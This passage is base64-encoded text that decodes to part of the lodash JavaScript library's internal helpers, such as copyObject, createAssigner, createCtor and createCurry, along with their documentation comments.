XJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIGZ1bmN0aW9uIGlzIGxpa2UgYGNvbXBvc2VBcmdzYCBleGNlcHQgdGhhdCB0aGUgYXJndW1lbnRzIGNvbXBvc2l0aW9uXG4gICAgICogaXMgdGFpbG9yZWQgZm9yIGBfLnBhcnRpYWxSaWdodGAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFyZ3MgVGhlIHByb3ZpZGVkIGFyZ3VtZW50cy5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBwYXJ0aWFscyBUaGUgYXJndW1lbnRzIHRvIGFwcGVuZCB0byB0aG9zZSBwcm92aWRlZC5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBob2xkZXJzIFRoZSBgcGFydGlhbHNgIHBsYWNlaG9sZGVyIGluZGV4ZXMuXG4gICAgICogQHBhcmFtcyB7Ym9vbGVhbn0gW2lzQ3VycmllZF0gU3BlY2lmeSBjb21wb3NpbmcgZm9yIGEgY3VycmllZCBmdW5jdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBjb21wb3NlZCBhcmd1bWVudHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gY29tcG9zZUFyZ3NSaWdodChhcmdzLCBwYXJ0aWFscywgaG9sZGVycywgaXNDdXJyaWVkKSB7XG4gICAgICB2YXIgYXJnc0luZGV4ID0gLTEsXG4gICAgICAgICAgYXJnc0xlbmd0aCA9IGFyZ3MubGVuZ3RoLFxuICAgICAgICAgIGhvbGRlcnNJbmRleCA9IC0xLFxuICAgICAgICAgIGhvbGRlcnNMZW5ndGggPSBob2xkZXJzLmxlbmd0aCxcbiAgICAgICAgICByaWdodEluZGV4ID0gLTEsXG4gICAgICAgICAgcmlnaHRMZW5ndGggPSBwYXJ0aWFscy5sZW5ndGgsXG4gICAgICAgICAgcmFuZ2VMZW5ndGggPSBuYXRpdmVNYXgoYXJnc0xlbmd0aCAtIGhvbGRlcnNMZW5ndGgsIDApLFxuICAgICAgICAgIHJlc3VsdCA9IEFycmF5KHJhbmdlTGVuZ3RoICsgcmlnaHRMZW5ndGgpLFxuICAgICAgICAgIGlzVW5jdXJyaWVkID0gIWlzQ3VycmllZDtcblxuICAgICAgd2hpbGUgKCsrYXJnc0luZGV4IDwgcmFuZ2VMZW5ndGgpIHtcbiAgICAgICAgcmVzdWx0W2FyZ3NJbmRleF0gPSBhcmdzW2FyZ3NJbmRleF07XG4gICAgICB9XG4gICAgICB2YXIgb2Zmc2V0ID0gYXJnc0luZGV4O1xuICAgICAgd2hpbGUgKCsrcmlnaHRJbmRleCA8IHJpZ2h0TGVuZ3RoKSB7XG4gICAgICAgIHJlc3VsdFtvZmZzZXQgKyByaWdodEluZGV4XSA9IHBhcnRpYWxzW3JpZ2h0SW5kZXhdO1xuICAgICAgfVxuICAgICAgd2hpbGUgKCsraG9sZGVyc0luZGV4IDwgaG9sZGVyc0xlbmd0aCkge1xuICAgICAgICBpZiAoaXNVbmN1cnJpZWQgfHwgYXJnc0luZGV4IDwgYXJnc0xlbmd0aCkge1xuICAgICAgICAgIHJlc3VsdFtvZmZzZXQgKyBob2xkZXJzW2hvbGRlcnNJbmRleF1dID0gYXJnc1thcmdzSW5kZXgrK107XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29waWVzIHRoZSB2YWx1ZXMgb2YgYHNvdXJjZWAgdG8gYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gc291cmNlIFRoZSBhcnJheSB0byBjb3B5IHZhbHVlcyBmcm9tLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheT1bXV0gVGhlIGFycmF5IHRvIGNvcHkgdmFsdWVzIHRvLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyBgYXJyYXlgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNvcHlBcnJheShzb3VyY2UsIGFycmF5KSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBzb3VyY2UubGVuZ3RoO1xuXG4gICAgICBhcnJheSB8fCAoYXJyYXkgPSBBcnJheShsZW5ndGgpKTtcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIGFycmF5W2luZGV4XSA9IHNvdXJjZVtpbmRleF07XG4gICAgICB9XG4gICAgICByZXR1cm4gYXJyYXk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29waWVzIHByb3BlcnRpZXMgb2YgYHNvdXJjZWAgdG8gYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCB0byBjb3B5IHByb3BlcnRpZXMgZnJvbS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBwcm9wcyBUaGUgcHJvcGVydHkgaWRlbnRpZmllcnMgdG8gY29weS5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdD17fV0gVGhlIG9iamVjdCB0byBjb3B5IHByb3BlcnRpZXMgdG8uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgY29waWVkIHZhbHVlcy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNvcHlPYmplY3Qoc291cmNlLCBwcm9wcywgb2JqZWN0LCBjdXN0b21pemVyKSB7XG4gICAgICB2YXIgaXNOZXcgPSAhb2JqZWN0O1xuICAgICAgb2JqZWN0IHx8IChvYmplY3QgPSB7fSk7XG5cbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHByb3BzLmxlbmd0aDtcblxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIGtleSA9IHByb3BzW2luZGV4XTtcblxuICAgICAgICB2YXIgbmV3VmFsdWUgPSBjdXN0b21pemVyXG4gICAgICAgICAgPyBjdXN0b21pemVyKG9iamVjdFtrZXldLCBzb3VyY2Vba2V5XSwga2V5LCBvYmplY3QsIHNvdXJjZSlcbiAgICAgICAgICA6IHVuZGVmaW5lZDtcblxuICAgICAgICBpZiAobmV3VmFsdWUgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIG5ld1ZhbHVlID0gc291cmNlW2tleV07XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzTmV3KSB7XG4gICAgICAgICAgYmFzZUFzc2lnblZhbHVlKG9iamVjdCwga2V5LCBuZXdWYWx1ZSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgYXNzaWduVmFsdWUob2JqZWN0LCBrZXksIG5ld1ZhbHVlKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIG9iamVjdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb3BpZXMgb3duIHN5bWJvbHMgb2YgYHNvdXJjZWAgdG8gYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCB0byBjb3B5IHN5bWJvbHMgZnJvbS5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdD17fV0gVGhlIG9iamVjdCB0byBjb3B5IHN5bWJvbHMgdG8uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjb3B5U3ltYm9scyhzb3VyY2UsIG9iamVjdCkge1xuICAgICAgcmV0dXJuIGNvcHlPYmplY3Qoc291cmNlLCBnZXRTeW1ib2xzKHNvdXJjZSksIG9iamVjdCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29waWVzIG93biBhbmQgaW5oZXJpdGVkIHN5bWJvbHMgb2YgYHNvdXJjZWAgdG8gYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCB0byBjb3B5IHN5bWJvbHMgZnJvbS5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW29iamVjdD17fV0gVGhlIG9iamVjdCB0byBjb3B5IHN5bWJvbHMgdG8uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjb3B5U3ltYm9sc0luKHNvdXJjZSwgb2JqZWN0KSB7XG4gICAgICByZXR1cm4gY29weU9iamVjdChzb3VyY2UsIGdldFN5bWJvbHNJbihzb3VyY2UpLCBvYmplY3QpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiBsaWtlIGBfLmdyb3VwQnlgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBzZXR0ZXIgVGhlIGZ1bmN0aW9uIHRvIHNldCBhY2N1bXVsYXRvciB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2luaXRpYWxpemVyXSBUaGUgYWNjdW11bGF0b3Igb2JqZWN0IGluaXRpYWxpemVyLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGFnZ3JlZ2F0b3IgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlQWdncmVnYXRvcihzZXR0ZXIsIGluaXRpYWxpemVyKSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24oY29sbGVjdGlvbiwgaXRlcmF0ZWUpIHtcbiAgICAgICAgdmFyIGZ1bmMgPSBpc0FycmF5KGNvbGxlY3Rpb24pID8gYXJyYXlBZ2dyZWdhdG9yIDogYmFzZUFnZ3JlZ2F0b3IsXG4gICAgICAgICAgICBhY2N1bXVsYXRvciA9IGluaXRpYWxpemVyID8gaW5pdGlhbGl6ZXIoKSA6IHt9O1xuXG4gICAgICAgIHJldHVybiBmdW5jKGNvbGxlY3Rpb24sIHNldHRlciwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpLCBhY2N1bXVsYXRvcik7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiBsaWtlIGBfLmFzc2lnbmAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGFzc2lnbmVyIFRoZSBmdW5jdGlvbiB0byBhc3NpZ24gdmFsdWVzLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGFzc2lnbmVyIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZUFzc2lnbmVyKGFzc2lnbmVyKSB7XG4gICAgICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2VzKSB7XG4gICAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgICAgbGVuZ3RoID0gc291cmNlcy5sZW5ndGgsXG4gICAgICAgICAgICBjdXN0b21pemVyID0gbGVuZ3RoID4gMSA/IHNvdXJjZXNbbGVuZ3RoIC0gMV0gOiB1bmRlZmluZWQsXG4gICAgICAgICAgICBndWFyZCA9IGxlbmd0aCA+IDIgPyBzb3VyY2VzWzJdIDogdW5kZWZpbmVkO1xuXG4gICAgICAgIGN1c3RvbWl6ZXIgPSAoYXNzaWduZXIubGVuZ3RoID4gMyAmJiB0eXBlb2YgY3VzdG9taXplciA9PSAnZnVuY3Rpb24nKVxuICAgICAgICAgID8gKGxlbmd0aC0tLCBjdXN0b21pemVyKVxuICAgICAgICAgIDogdW5kZWZpbmVkO1xuXG4gICAgICAgIGlmIChndWFyZCAmJiBpc0l0ZXJhdGVlQ2FsbChzb3VyY2VzWzBdLCBzb3VyY2VzWzFdLCBndWFyZCkpIHtcbiAgICAgICAgICBjdXN0b21pemVyID0gbGVuZ3RoIDwgMyA/IHVuZGVmaW5lZCA6IGN1c3RvbWl6ZXI7XG4gICAgICAgICAgbGVuZ3RoID0gMTtcbiAgICAgICAgfVxuICAgICAgICBvYmplY3QgPSBPYmplY3Qob2JqZWN0KTtcbiAgICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgICB2YXIgc291cmNlID0gc291cmNlc1tpbmRleF07XG4gICAgICAgICAgaWYgKHNvdXJjZSkge1xuICAgICAgICAgICAgYXNzaWduZXIob2JqZWN0LCBzb3VyY2UsIGluZGV4LCBjdXN0b21pemVyKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIG9iamVjdDtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBgYmFzZUVhY2hgIG9yIGBiYXNlRWFjaFJpZ2h0YCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZWFjaEZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGl0ZXJhdGUgb3ZlciBhIGNvbGxlY3Rpb24uXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbZnJvbVJpZ2h0XSBTcGVjaWZ5IGl0ZXJhdGluZyBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgYmFzZSBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVCYXNlRWFjaChlYWNoRnVuYywgZnJvbVJpZ2h0KSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24oY29sbGVjdGlvbiwgaXRlcmF0ZWUpIHtcbiAgICAgICAgaWYgKGNvbGxlY3Rpb24gPT0gbnVsbCkge1xuICAgICAgICAgIHJldHVybiBjb2xsZWN0aW9uO1xuICAgICAgICB9XG4gICAgICAgIGlmICghaXNBcnJheUxpa2UoY29sbGVjdGlvbikpIHtcbiAgICAgICAgICByZXR1cm4gZWFjaEZ1bmMoY29sbGVjdGlvbiwgaXRlcmF0ZWUpO1xuICAgICAgICB9XG4gICAgICAgIHZhciBsZW5ndGggPSBjb2xsZWN0aW9uLmxlbmd0aCxcbiAgICAgICAgICAgIGluZGV4ID0gZnJvbVJpZ2h0ID8gbGVuZ3RoIDogLTEsXG4gICAgICAgICAgICBpdGVyYWJsZSA9IE9iamVjdChjb2xsZWN0aW9uKTtcblxuICAgICAgICB3aGlsZSAoKGZyb21SaWdodCA/IGluZGV4LS0gOiArK2luZGV4IDwgbGVuZ3RoKSkge1xuICAgICAgICAgIGlmIChpdGVyYXRlZShpdGVyYWJsZVtpbmRleF0sIGluZGV4LCBpdGVyYWJsZSkgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGNvbGxlY3Rpb247XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBiYXNlIGZ1bmN0aW9uIGZvciBtZXRob2RzIGxpa2UgYF8uZm9ySW5gIGFuZCBgXy5mb3JPd25gLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge2Jvb2xlYW59IFtmcm9tUmlnaHRdIFNwZWNpZnkgaXRlcmF0aW5nIGZyb20gcmlnaHQgdG8gbGVmdC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBiYXNlIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZUJhc2VGb3IoZnJvbVJpZ2h0KSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24ob2JqZWN0LCBpdGVyYXRlZSwga2V5c0Z1bmMpIHtcbiAgICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgICBpdGVyYWJsZSA9IE9iamVjdChvYmplY3QpLFxuICAgICAgICAgICAgcHJvcHMgPSBrZXlzRnVuYyhvYmplY3QpLFxuICAgICAgICAgICAgbGVuZ3RoID0gcHJvcHMubGVuZ3RoO1xuXG4gICAgICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgICAgIHZhciBrZXkgPSBwcm9wc1tmcm9tUmlnaHQgPyBsZW5ndGggOiArK2luZGV4XTtcbiAgICAgICAgICBpZiAoaXRlcmF0ZWUoaXRlcmFibGVba2V5XSwga2V5LCBpdGVyYWJsZSkgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIG9iamVjdDtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgd3JhcHMgYGZ1bmNgIHRvIGludm9rZSBpdCB3aXRoIHRoZSBvcHRpb25hbCBgdGhpc2BcbiAgICAgKiBiaW5kaW5nIG9mIGB0aGlzQXJnYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gd3JhcC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy4gU2VlIGBjcmVhdGVXcmFwYCBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqIEBwYXJhbSB7Kn0gW3RoaXNBcmddIFRoZSBgdGhpc2AgYmluZGluZyBvZiBgZnVuY2AuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgd3JhcHBlZCBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVCaW5kKGZ1bmMsIGJpdG1hc2ssIHRoaXNBcmcpIHtcbiAgICAgIHZhciBpc0JpbmQgPSBiaXRtYXNrICYgV1JBUF9CSU5EX0ZMQUcsXG4gICAgICAgICAgQ3RvciA9IGNyZWF0ZUN0b3IoZnVuYyk7XG5cbiAgICAgIGZ1bmN0aW9uIHdyYXBwZXIoKSB7XG4gICAgICAgIHZhciBmbiA9ICh0aGlzICYmIHRoaXMgIT09IHJvb3QgJiYgdGhpcyBpbnN0YW5jZW9mIHdyYXBwZXIpID8gQ3RvciA6IGZ1bmM7XG4gICAgICAgIHJldHVybiBmbi5hcHBseShpc0JpbmQgPyB0aGlzQXJnIDogdGhpcywgYXJndW1lbnRzKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiB3cmFwcGVyO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiBsaWtlIGBfLmxvd2VyRmlyc3RgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gbWV0aG9kTmFtZSBUaGUgbmFtZSBvZiB0aGUgYFN0cmluZ2AgY2FzZSBtZXRob2QgdG8gdXNlLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGNhc2UgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlQ2FzZUZpcnN0KG1ldGhvZE5hbWUpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbihzdHJpbmcpIHtcbiAgICAgICAgc3RyaW5nID0gdG9TdHJpbmcoc3RyaW5nKTtcblxuICAgICAgICB2YXIgc3RyU3ltYm9scyA9IGhhc1VuaWNvZGUoc3RyaW5nKVxuICAgICAgICAgID8gc3RyaW5nVG9BcnJheShzdHJpbmcpXG4gICAgICAgICAgOiB1bmRlZmluZWQ7XG5cbiAgICAgICAgdmFyIGNociA9IHN0clN5bWJvbHNcbiAgICAgICAgICA/IHN0clN5bWJvbHNbMF1cbiAgICAgICAgICA6IHN0cmluZy5jaGFyQXQoMCk7XG5cbiAgICAgICAgdmFyIHRyYWlsaW5nID0gc3RyU3ltYm9sc1xuICAgICAgICAgID8gY2FzdFNsaWNlKHN0clN5bWJvbHMsIDEpLmpvaW4oJycpXG4gICAgICAgICAgOiBzdHJpbmcuc2xpY2UoMSk7XG5cbiAgICAgICAgcmV0dXJuIGNoclttZXRob2ROYW1lXSgpICsgdHJhaWxpbmc7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiBsaWtlIGBfLmNhbWVsQ2FzZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGNhbGxiYWNrIFRoZSBmdW5jdGlvbiB0byBjb21iaW5lIGVhY2ggd29yZC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBjb21wb3VuZGVyIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNyZWF0ZUNvbXBvdW5kZXIoY2FsbGJhY2spIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbihzdHJpbmcpIHtcbiAgICAgICAgcmV0dXJuIGFycmF5UmVkdWNlKHdvcmRzKGRlYnVycihzdHJpbmcpLnJlcGxhY2UocmVBcG9zLCAnJykpLCBjYWxsYmFjaywgJycpO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBwcm9kdWNlcyBhbiBpbnN0YW5jZSBvZiBgQ3RvcmAgcmVnYXJkbGVzcyBvZlxuICAgICAqIHdoZXRoZXIgaXQgd2FzIGludm9rZWQgYXMgcGFydCBvZiBhIGBuZXdgIGV4cHJlc3Npb24gb3IgYnkgYGNhbGxgIG9yIGBhcHBseWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IEN0b3IgVGhlIGNvbnN0cnVjdG9yIHRvIHdyYXAuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgd3JhcHBlZCBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjcmVhdGVDdG9yKEN0b3IpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgICAgLy8gVXNlIGEgYHN3aXRjaGAgc3RhdGVtZW50IHRvIHdvcmsgd2l0aCBjbGFzcyBjb25zdHJ1Y3RvcnMuIFNlZVxuICAgICAgICAvLyBodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1lY21hc2NyaXB0LWZ1bmN0aW9uLW9iamVjdHMtY2FsbC10aGlzYXJndW1lbnQtYXJndW1lbnRzbGlzdFxuICAgICAgICAvLyBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAgICB2YXIgYXJncyA9IGFyZ3VtZW50cztcbiAgICAgICAgc3dpdGNoIChhcmdzLmxlbmd0aCkge1xuICAgICAgICAgIGNhc2UgMDogcmV0dXJuIG5ldyBDdG9yO1xuICAgICAgICAgIGNhc2UgMTogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0pO1xuICAgICAgICAgIGNhc2UgMjogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0pO1xuICAgICAgICAgIGNhc2UgMzogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0sIGFyZ3NbMl0pO1xuICAgICAgICAgIGNhc2UgNDogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0sIGFyZ3NbMl0sIGFyZ3NbM10pO1xuICAgICAgICAgIGNhc2UgNTogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0sIGFyZ3NbMl0sIGFyZ3NbM10sIGFyZ3NbNF0pO1xuICAgICAgICAgIGNhc2UgNjogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0sIGFyZ3NbMl0sIGFyZ3NbM10sIGFyZ3NbNF0sIGFyZ3NbNV0pO1xuICAgICAgICAgIGNhc2UgNzogcmV0dXJuIG5ldyBDdG9yKGFyZ3NbMF0sIGFyZ3NbMV0sIGFyZ3NbMl0sIGFyZ3NbM10sIGFyZ3NbNF0sIGFyZ3NbNV0sIGFyZ3NbNl0pO1xuICAgICAgICB9XG4gICAgICAgIHZhciB0aGlzQmluZGluZyA9IGJhc2VDcmVhdGUoQ3Rvci5wcm90b3R5cGUpLFxuICAgICAgICAgICAgcmVzdWx0ID0gQ3Rvci5hcHBseSh0aGlzQmluZGluZywgYXJncyk7XG5cbiAgICAgICAgLy8gTWltaWMgdGhlIGNvbnN0cnVjdG9yJ3MgYHJldHVybmAgYmVoYXZpb3IuXG4gICAgICAgIC8vIFNlZSBodHRwczovL2VzNS5naXRodWIuaW8vI3gxMy4yLjIgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgICAgcmV0dXJuIGlzT2JqZWN0KHJlc3VsdCkgPyByZXN1bHQgOiB0aGlzQmluZGluZztcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgd3JhcHMgYGZ1bmNgIHRvIGVuYWJsZSBjdXJyeWluZy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gd3JhcC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy4gU2VlIGBjcmVhdGVXcmFwYCBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBhcml0eSBUaGUgYXJpdHkgb2YgYGZ1bmNgLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHdyYXBwZWQgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlQ3VycnkoZnVuYywgYml0bWFzaywgYXJpdHkpIHtcbiAgICAgIHZhciBDdG9yID0gY3JlYXRlQ3RvcihmdW5jKTtcblxuICAgICAgZnVuY3Rpb24gd3JhcHBlcigpIHtcbiAgICAgICAgdmFyIGxlbmd0aCA9IGFyZ3VtZW50cy5sZW5ndGgsXG4gICAgICAgICAgICBhcmdzID0gQXJyYXkobGVuZ3RoKSxcbiAgICAgICAgICAgIGluZGV4ID0gbGVuZ3RoLFxuICAgICAgICAgICAgcGxhY2Vob2xkZXIgPSBnZXRIb2xkZXIod3JhcHBlcik7XG5cbiAgICAgICAgd2hpbGUgKGluZGV4LS0pIHtcbiAgICAgICAgICBhcmdzW2luZGV4XSA9IGFyZ3VtZW50c1tpbmRleF07XG4gICAgICAgIH1cbiAgICAgICAgdmFyIGhvbGRlcnMgPSAobGVuZ3RoIDwgMyAmJiBhcmdzWzBdICE9PSBwbGFjZWhvbGRlciAmJiBhcmdzW2xlbmd0aCAtIDFdICE9PSBwbGFjZWhvbGRlcilcbiAgICAgICAgICA/IFtdXG4gICAgICAgICAgOiByZXBsYWNlSG9sZGVycyhhcmdzLCBwbGFjZWhvbGRlcik7XG5cbiAgICAgICAgbGVuZ3RoIC09IGhvbGRlcnMubGVuZ3RoO1xuICAgICAgICBpZiAobGVuZ3RoIDwgYXJpdHkpIHtcbiAgICAgICAgICByZXR1cm4gY3JlYXRlUmVjdXJyeShcbiAgICAgICAgICAgIGZ1bmMsIGJpdG1hc2ssIGNyZWF0ZUh5YnJpZCwgd3JhcHBlci5wbGFjZWhvbGRlciwgdW5kZWZpbmVkLFxuICAgICAgICAgICAgYXJncywgaG9sZGVycywgdW5kZWZpbmVkLCB1bmRlZmluZWQsIGFyaXR5IC0gbGVuZ3RoKTtcbiAgICAgICAgfVxuICAgICAgICB2YXIgZm4gPSAodGhpcyAmJiB0aGlzICE9PSByb290ICYmIHRoaXMgaW5zdGFuY2VvZiB3cmFwcGVyKSA/IEN0b3IgOiBmdW5jO1xuICAgICAgICByZXR1cm4gYXBwbHkoZm4sIHRoaXMsIGFyZ3MpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHdyYXBwZXI7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGBfLmZpbmRgIG9yIGBfLmZpbmRMYXN0YCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZmluZEluZGV4RnVuYyBUaGUgZnVuY3Rpb24gdG8gZmluZCB0aGUgY29sbGVjdGlvbiBpbmRl